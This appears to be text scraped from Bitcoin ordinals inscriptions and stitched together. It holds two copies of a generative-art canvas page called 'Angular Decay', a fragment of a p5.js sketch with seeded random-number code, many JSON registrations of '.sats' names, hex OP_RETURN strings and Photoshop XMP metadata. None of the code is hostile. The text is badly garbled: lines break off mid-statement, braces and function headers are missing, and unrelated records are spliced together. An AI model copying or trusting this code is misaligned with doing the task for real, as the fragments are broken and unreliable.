            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfcM
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
et mathRand = sfc32(...cyrb128(seed));
            margin: 0px;
            overflow: hidden;
<script type="text/javascript">
    const rand = mathRand();
    function T1(rand) {
        // calculate rarity by yourself
        if (rand > 0.5) {
            return true;
            return false
    // window.$generativeTraits contain list traits for token
    // you need to populate a $generativeTraits object in the window object
    window.$generativeTraits = {
 Add your code here
    let nextLineY = 0;
Math.random = mathRand;
    cSize = min(windowHeight, windowWidth);
    mainCanvas = createCanvas(cSize, cSize);
    background('#fff')
    strokeWeight(20)
    line(0,0,width,0)
    line(0,0,0,height)
    line(width,0,width,height)
    line(0,height,width,height)
    while (nextLineY < height) {
        // drawLine(0, nextLineY)
        let nextRectX = 0;
        while (nextRectX < wM
            let rectWidth = mathrand(20, 1);
            let rectHight = mathrand(70, 1);
            noStroke()
            fill(colors[mathrand(colors.length - 1, 0)])
            rect(nextRectX, nextLineY, rectWidth, rectHight);
            nextRectX = nextRectX + rectWidth;
        nextLineY = nextLineY + 25
    while (nextLineY < height) {
        // drawLine(0, nextLineY)
        let nextRectX = 0;
nextRectX < width) {
            let rectWidth = mathrand(50, 1);
            let rectHight = mathrand(40, 1);
            stroke(colors[mathrand(colors.length - 1, 0)])
            strokeWeight(3)
            noFill()
            ellipse(nextRectX, nextLineY, rectWidth, rectWidth);
            nextRectX = nextRectX + rectWidth;
        nextLineY = nextLineY + 20
    while (nextLineY < height) {
        // drawLine(0, nextLineY)
        let nextRectX = 0;
        while (nextRectX < width) {
            let rectWidth = mathrand(20, 1);
            let rectHight = mathrand(40, 1);
            stroke(colors[mathrand(colors.length - 1, 0)])
            noFill()
            ellipse(nextRectX, nextLineY, rectWidth, rectWidth);
            nextRectX = nextRectX + rectWidth;
        nextLineY = nextLineY + 20
function setColors() {
    colorsKeys = Object.keys(chroma.brewer);
    colors = [...chroma.brewer[colorsKeys[mathrand(colorsKeys.length - M
    colors2 = chroma.brewer[colorsKeys[mathrand(colorsKeys.length - 1, 0)]]
function mathrand(min, max) {
    return Math.floor(mathRand() * (max - min + 1) + min);
function keyTyped() {
    if (key === 's') {
        saveCanvas('Amz-' + mathRand(), 'png');
 Add your code here
text/html;charset=utf-8
<meta charset="UTF-8">
<title>Angular Decay</title>
<script id="snippet-random-code" type="text/javascript">
let seed = window.location.href.split('/').find(t => t.includes('i0'));
const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
let pattern = "seed=";
for (let i = 0; i <M
 seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
seed = seed.substring(i + pattern.length);
function cyrb128($) {
let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM
 ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
function sfc32($, _, u, i) {
return function () {
var l = ($ >>>= 0) + (_ >>>= 0) | 0;
return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
<style>body {margin: 0px;} </style>M
<canvas id="target"></canvas>
<script type="text/javascript">
const rand = mathRand();
const rand2 = mathRand();
let sqpix,cp,ratio=0.707,bug=false;
if(rand<0.3){sqpix=0;zoom=false;return"Portrait";}
if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";}
if(rand<0.95){sqpix=1;return"Square";}
sqpix=1;bug=1;return"Bugged";}
if(rand<0.07){cp=12;return "Paper";}
if(rand<0.14){cp=1;return "DPM";}
if(rand<0.21){cp=2;return "Fecktarn";}
if(rand<0.41){cp=4;return "Desert Drill";}
if(rand<0.5){cp=5;return "Urban";}
if(rand<0.6){cp=6;return "Navy";}
if(rand<0.7){cp=7;return "German Winter";}
if(rand<0.8){cp=8;return "Tree";}
if(rand<0.85){cp=9;return "Orange";}
if(rand<0.9){cp=10;return "Harris";}
if(rand<0.95){cp=11;return "Market";}
cp=0;return "Saint";}
window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) }
const container = document.createElement("div")
container.innerHTML = "<span>seed: " + seed + "</spM
let resizeTmr=null,aniFrame=null;
let ofw,ofh,sz,rz=1;
let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[];
var tricount=0,tr=30;
var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[];
var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[];
const init = async () => {
window.addEventListener('resize', async () => {
clearTimeout(resizeTmr)
resizeTmr = setTimeout(async () => {
await layoutCanvas()
await layoutCanvas()
const layoutCanvas = async () => {
const wWidth=window.innerWidth
const wHeight=window.innerHeight
let cHeight=wHeight;
let cWidth=cHeight*ratio;
if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;}
const canvas=document.getElementById('target')
canvas.width=2000*rz;
canvas.height=(2000*rz)/ratio;
canvas.style.position = 'absolute'
canvas.style.width = `${cWidth}px`
canvas.style.height = `${cHeight}px`
canvas.style.left = `${(wWidth - cWidth) / 2}px`
canvas.style.top = `${(wHeight - cHeight) / 2}pM
const drawCanvas = async () => {
if(!tried) setupart();
if (aniFrame) window.cancelAnimationFrame(aniFrame)
const canvas=document.getElementById('target')
const ctx=canvas.getContext('2d')
{let bx=ofw/500,by=ofh/500;
ctx.globalAlpha=0.05;
for(let f=10;f<30; f++){
for(let i=0;i<500; i++){
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff');
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M
if(gj>500) { drp=3; gj=0; }
for(let f=0;f<tc;f++){
if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz);
else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz);
dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);
dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);}
for(let f=0;f<rc;f++){
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz);
,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);}
ctx.fillStyle = artcols[0];
ctx.fillRect(0,0,ofw,ofh);
mathRand = sfc32(...cyrb128(seed));
tc=0;rc=0;tricount=0;tr=30;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
tricount=1000;tr=rir(10,50);dor=true;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
aniFrame = window.requestAnimationM
function triharder( x1,y1, x2,y2)
if(tricount>2500) return;
var x3=x1+rir(-tr,tr);
var y3=y1+rir(-tr,tr);
if(x3<0){x3+=tr;bmp++}
if(x3>1000){x3-=tr;bmp++}
if(y3<0){y3+=tr;bmp++}
if(y3>1000/ratio){y3-=tr;bmp++}
if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; }
else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;}
if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M
triharder(x3,y3, x1,y1);
if(ri(100)>20) triharder(x3,y3, x2,y2);
const autoDownloadCanvas = async () => {
const element = document.createElement('a')
element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`)
element.style.display = 'none'
document.body.appendChild(element)
let imageBlob = null
imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png'))
element.setAttribute('href', window.URL.createObjectURL(imageBlob, {
document.body.removeChild(element)
document.addEventListener('keypress', async (e) => {
e = e || window.event
if (e.key === 's') autoDownloadCanvas()
if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() }
function drawEllipse(ctx,x,y,rx,ry,fill) {
ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI);
if (fill) {ctx.fillStyle = fill;ctx.fill();}
function dl(ctx,lx,ly,ex,ey,stroke,width) {
if (stroke) {ctx.strokeStyle = stroke;}
if (width) {  ctx.linM
ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke();
if(cp==12)artcols=['#EDECE0','#303030','#880808'];
if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B'];
if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41'];
if(cp==1) artcols=['#25201E','#D3A252','#686C22'];
if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026'];
if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D'];
if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A'];
if(cp==5) artcols= ['#B8B8B3','#474747','M
if(cp==6) artcols= ['#A6B2C7','#323642','#394A69'];
if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD'];
if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D'];
if(cp==9) artcols= ['#EDECE0','#944645','#F25D34'];
if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933'];
function ri( x){  return Math.floor(mathRand()*x);}
function rir(x,y){ let nr = (y - x) ; return  Math.floor((mathRand()*nr) + x); }
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"LV3.sats"}h!
FjDOUT:6A957E3EE9E3048E0796C98D6CE6BC9BCAC7805A242B1A4F6B76F1796AEBE7EB
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"abcdef.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"Orz.sats"}h!
d/Foundry USA Pool #dropgold/
fiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/M
1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2023-03-02T09:57:25-05:00" xmp:MetadataDate="2023-03-02T09:57:25-05:00" xmp:ModifyDate="2023-03-02T09:57:25-05:00" xmpMM:InstanceID="xmp.iid:2a3f8ecb-0962-8540-844a-89c5b75952ff" xmpMM:DocumentID="adobe:docid:photoshop:635f54b5-88bc-6640-a109-7edf1eb2ed91" xmpMM:OriginalDocumentID="xmp.did:a98096dd-95af-1c45-8820-ec53316f5a43" photoshop:ColorMode="3" dc:format="image/png"> <xmpMM:History> <rdf:Seq> <rdM
f:li stEvt:action="created" stEvt:instanceID="xmp.iid:a98096dd-95af-1c45-8820-ec53316f5a43" stEvt:when="2023-03-02T09:57:25-05:00" stEvt:softwareAgent="Adobe Photoshop 21.0 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:2a3f8ecb-0962-8540-844a-89c5b75952ff" stEvt:when="2023-03-02T09:57:25-05:00" stEvt:softwareAgent="Adobe Photoshop 21.0 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>adobe:docid:photoshop:5c8cf24c-37a3-a94e-b578-e06dfceM
c0e8b</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>'
dZ$`V"\R k`&oc&g\$PF
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"12343.sats"}h!
FjDOUT:33CBF368853C4B58B9ACE01244CE8A99E9E7B03096B6DAD6B7754457DA623B4B
FjDOUT:288FAAC3FA26BC469FB3187303566091ABC84845390D84DB76E75F262E425B77
FjDOUT:D099599A06948CE0E6285E26FBCFEC719537E5C497625C505B60AA544E5CA2A8
FjDOUT:EE409182755C92AE8EFAAF3C24F2B44D4683E8AE9888A8F8E48FC0D5C3F9819E
FjDOUT:F7A1A2E66513EACE28E6057863E215DADB3102CD65FB70444FC83A7DA4AB97E7
FjDOUT:ED10A630DC64BC799F9A0F4D0C086A3998A87CE2574E8071D94D25F5825FF324
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11044.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11042.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"L3.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11046.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11043.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"lyz.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"jmj.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"gmg.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"adc.sats"}h!
Aj?=:ETH.ETH:0x4d92230c780B8BF4240F02DD28562a095e113255:5546653::0
text/plain;charset=utf-8
  "name": "frens.sats"
text/plain;charset=utf-8
  "name": "get-rekt.sats"
text/plain;charset=utf-8
  "name": "-59.sats"
text/plain;charset=utf-8
  "name": "richforever.sats"
text/plain;charset=utf-8
  "name": "pug.sats"
text/plain;charset=utf-8
  "name": "4chan.sats"
text/plain;charset=utf-8
  "name": "sendnudes.sats"
text/plain;charset=utf-8
  "name": "img.sats"
text/plain;charset=utf-8
  "name": "binladen.sats"
text/plain;charset=utf-8
  "name": "rdy.sats"
text/plain;charset=utf-8
  "name": "pill.sats"
text/plain;charset=utf-8
  "name": "doggo.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "-420.sats"
text/plain;charset=utf-8
  "name": "farmernash.sats"
text/plain;charset=utf-8
  "name": "msv.sats"
text/plain;charset=utf-8
  "name": "gom.sats"
text/plain;charset=utf-8
  "name": "-420.sats"
text/plain;charset=utf-8
  "name": "omerta.sats"
text/plain;charset=utf-8
  "name": "rullz.sats"
text/plain;charset=utf-8
  "name": "moneylaundry.sats"
text/plain;charset=utf-8
  "name": "uio.sats"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Disco.sats"}h!
text/plain;charset=utf-8
  "name": "twt.sats"
text/plain;charset=utf-8
  "name": "qtq.sats"
text/plain;charset=utf-8
  "name": "fila.sats"
text/plain;charset=utf-8
  "name": "bigboss.sats"
text/plain;charset=utf-8
  "name": "sendmoney.sats"
text/plain;charset=utf-8
  "name": "givemoney.sats"
Aj?=:ETH.ETH:0x4Af78D278707AE29FEe64Be0E408fB3502C792f7:2261793::0
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"arataki.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11060.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"686868.sats"}h!
text/html;charset=utf-8
<meta charset="UTF-8">
<title>Angular Decay</title>
<script id="snippet-random-code" type="text/javascript">
let seed = window.location.href.split('/').find(t => t.includes('i0'));
const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
let pattern = "seed=";
for (let i = 0; i <M
 seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
seed = seed.substring(i + pattern.length);
function cyrb128($) {
let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM
 ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
function sfc32($, _, u, i) {
return function () {
var l = ($ >>>= 0) + (_ >>>= 0) | 0;
return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
<style>body {margin: 0px;} </style>M
<canvas id="target"></canvas>
<script type="text/javascript">
const rand = mathRand();
const rand2 = mathRand();
let sqpix,cp,ratio=0.707,bug=false;
if(rand<0.3){sqpix=0;zoom=false;return"Portrait";}
if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";}
if(rand<0.95){sqpix=1;return"Square";}
sqpix=1;bug=1;return"Bugged";}
if(rand<0.07){cp=12;return "Paper";}
if(rand<0.14){cp=1;return "DPM";}
if(rand<0.21){cp=2;return "Fecktarn";}
if(rand<0.41){cp=4;return "Desert Drill";}
if(rand<0.5){cp=5;return "Urban";}
if(rand<0.6){cp=6;return "Navy";}
if(rand<0.7){cp=7;return "German Winter";}
if(rand<0.8){cp=8;return "Tree";}
if(rand<0.85){cp=9;return "Orange";}
if(rand<0.9){cp=10;return "Harris";}
if(rand<0.95){cp=11;return "Market";}
cp=0;return "Saint";}
window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) }
const container = document.createElement("div")
container.innerHTML = "<span>seed: " + seed + "</spM
let resizeTmr=null,aniFrame=null;
let ofw,ofh,sz,rz=1;
let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[];
var tricount=0,tr=30;
var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[];
var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[];
const init = async () => {
window.addEventListener('resize', async () => {
clearTimeout(resizeTmr)
resizeTmr = setTimeout(async () => {
await layoutCanvas()
await layoutCanvas()
const layoutCanvas = async () => {
const wWidth=window.innerWidth
const wHeight=window.innerHeight
let cHeight=wHeight;
let cWidth=cHeight*ratio;
if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;}
const canvas=document.getElementById('target')
canvas.width=2000*rz;
canvas.height=(2000*rz)/ratio;
canvas.style.position = 'absolute'
canvas.style.width = `${cWidth}px`
canvas.style.height = `${cHeight}px`
canvas.style.left = `${(wWidth - cWidth) / 2}px`
canvas.style.top = `${(wHeight - cHeight) / 2}pM
const drawCanvas = async () => {
if(!tried) setupart();
if (aniFrame) window.cancelAnimationFrame(aniFrame)
const canvas=document.getElementById('target')
const ctx=canvas.getContext('2d')
{let bx=ofw/500,by=ofh/500;
ctx.globalAlpha=0.05;
for(let f=10;f<30; f++){
for(let i=0;i<500; i++){
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff');
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M
if(gj>500) { drp=3; gj=0; }
for(let f=0;f<tc;f++){
if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz);
else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz);
dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);
dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);}
for(let f=0;f<rc;f++){
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz);
,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);}
ctx.fillStyle = artcols[0];
ctx.fillRect(0,0,ofw,ofh);
mathRand = sfc32(...cyrb128(seed));
tc=0;rc=0;tricount=0;tr=30;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
tricount=1000;tr=rir(10,50);dor=true;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
aniFrame = window.requestAnimationM
function triharder( x1,y1, x2,y2)
if(tricount>2500) return;
var x3=x1+rir(-tr,tr);
var y3=y1+rir(-tr,tr);
if(x3<0){x3+=tr;bmp++}
if(x3>1000){x3-=tr;bmp++}
if(y3<0){y3+=tr;bmp++}
if(y3>1000/ratio){y3-=tr;bmp++}
if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; }
else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;}
if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M
triharder(x3,y3, x1,y1);
if(ri(100)>20) triharder(x3,y3, x2,y2);
const autoDownloadCanvas = async () => {
const element = document.createElement('a')
element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`)
element.style.display = 'none'
document.body.appendChild(element)
let imageBlob = null
imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png'))
element.setAttribute('href', window.URL.createObjectURL(imageBlob, {
document.body.removeChild(element)
document.addEventListener('keypress', async (e) => {
e = e || window.event
if (e.key === 's') autoDownloadCanvas()
if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() }
function drawEllipse(ctx,x,y,rx,ry,fill) {
ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI);
if (fill) {ctx.fillStyle = fill;ctx.fill();}
function dl(ctx,lx,ly,ex,ey,stroke,width) {
if (stroke) {ctx.strokeStyle = stroke;}
if (width) {  ctx.linM
ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke();
if(cp==12)artcols=['#EDECE0','#303030','#880808'];
if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B'];
if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41'];
if(cp==1) artcols=['#25201E','#D3A252','#686C22'];
if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026'];
if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D'];
if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A'];
if(cp==5) artcols= ['#B8B8B3','#474747','M
if(cp==6) artcols= ['#A6B2C7','#323642','#394A69'];
if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD'];
if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D'];
if(cp==9) artcols= ['#EDECE0','#944645','#F25D34'];
if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933'];
function ri( x){  return Math.floor(mathRand()*x);}
function rir(x,y){ let nr = (y - x) ; return  Math.floor((mathRand()*nr) + x); }
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11059.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"beidou.sats"}h!
text/plain;charset=utf-8
  "name": "-111.sats"
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"868686.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11057.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"6666688888.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11058.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"chongyun.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"66668888.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11056.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"bennett.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"aloy.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"68686868.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"atj.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"asc.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"atw.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aqw.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aso.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"axu.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"asu.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aqs.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"azc.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"axv.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"atk.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"azt.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ats.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"azr.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"realmadridcf.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"pea.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"czk.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"sek.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11052.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11055.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"jpy.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4392.sats"}h!
text/plain;charset=utf-8
0{"p":"sns","op":"reg","name":"aiassistant.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4328.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4372.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"msai.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4358.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4378.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4370.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4356.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4352.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11051.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"isk.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4360.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4362.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4398.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"cma.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4390.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"gpuai.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4382.sats"}h!
